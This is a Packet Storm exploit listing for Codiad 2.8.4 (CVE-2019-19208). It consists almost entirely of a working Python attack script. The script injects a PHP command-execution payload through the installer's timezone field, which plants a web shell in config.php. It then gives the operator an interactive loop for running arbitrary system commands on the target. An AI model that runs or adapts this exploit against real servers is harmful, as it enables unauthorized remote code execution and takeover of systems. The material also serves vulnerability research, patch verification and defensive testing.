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packetstormRon JostPACKETSTORM:162753
HistoryMay 24, 2021 - 12:00 a.m.

Codiad 2.8.4 Remote Code Execution

2021-05-2400:00:00
Ron Jost
packetstormsecurity.com
345
`# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (2)  
# Date: 21.05.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Credits to: https://herolab.usd.de/security-advisories/usd-2019-0049/ (Tobias Neitzel)  
# Vendor Homepage: http://codiad.com/  
# Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4  
# Version: 2.8.4  
# Tested on: Xubuntu 20.04 and Cent OS 8.3  
# CVE: CVE-2019-19208  
  
'''  
Description:   
An unauthenticated attacker can inject PHP code before the initial configuration  
that gets executed and therefore he can run arbitrary system commands on the server.  
'''  
  
  
'''  
Import required modules:  
'''  
import requests  
import json  
import sys  
import time  
  
  
'''  
User-Input:  
'''  
target_ip = sys.argv[1]  
target_port = sys.argv[2]  
  
  
'''  
Determining target:  
--> The installationpaths to select from are derived from the installation instructions from:  
https://github.com/Codiad/Codiad/wiki/Installation  
'''  
print('Enter one of the following numbers to proceed')  
print('[1]: OS of the target: Higher than Ubuntu 13.04; path: /var/www/html/')  
print('[2]: OS of the target: Ubuntu 13.04 or below; path: /var/www/')  
print('[3]: OS of the target: CENT OS; path: /var/www/html/')  
selection = int(input('Your Choice: '))  
if selection == 3 or selection == 1:  
path = "/var/www/html"  
content_len = "191"  
if selection == 2:  
path = '/var/www'  
content_len = '185'  
  
  
'''  
Get cookie  
'''  
session = requests.Session()  
link = 'http://' + target_ip + ':' + target_port + '/'  
response = session.get(link)  
cookies_session = session.cookies.get_dict()  
cookie = json.dumps(cookies_session)  
cookie = cookie.replace('"}','')  
cookie = cookie.replace('{"', '')  
cookie = cookie.replace('"', '')  
cookie = cookie.replace(" ", '')  
cookie = cookie.replace(":", '=')  
  
  
'''  
Construct header:  
'''  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.',  
'Accept': '*/*',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',  
'X-Requested-With': 'XMLHttpRequest',  
'Content-Length': content_len,  
'Origin': 'htttp://' + target_ip,  
'Connection': 'close',  
'Referer': 'http://' + target_ip + '/',  
'Cookie': cookie,  
}  
  
  
'''  
Construct body:  
'''  
string = """'"); system($_GET["cmd"]); print("'"""  
body = {  
'path': path,  
'username': 'test',  
'password': 'exploit',  
'password_confirm': 'exploit',  
'project_name': 'hello',  
'project_path': path + '/data',  
'timezone': str(string)  
}  
  
  
'''  
Post the request with the malaicious payload  
'''  
print('Posting request with malicious payload')  
link = link + '/components/install/process.php'  
x = requests.post(link, headers=header, data=body)  
print('Waiting 10 seconds')  
time.sleep(10)  
  
  
'''  
Create payload / persistend command execution:  
'''  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Connection': 'close',  
'Cookie': cookie,  
'Upgrade-Insecure-Requests': '1',  
'Cache-Control': 'mag-age=0'  
}  
payload = input('Input the command, which should be executed on the targeted machine. To abort enter EXIT: ')  
while payload != 'EXIT':  
link_payload = 'http://' + target_ip + ':' + target_port + '/config.php?cmd=' + payload  
x = requests.get(link_payload, headers=header)  
print(x.text)  
payload = input('Input the command, which should be executed on the targeted machine. To abort enter EXIT: ')  
  
`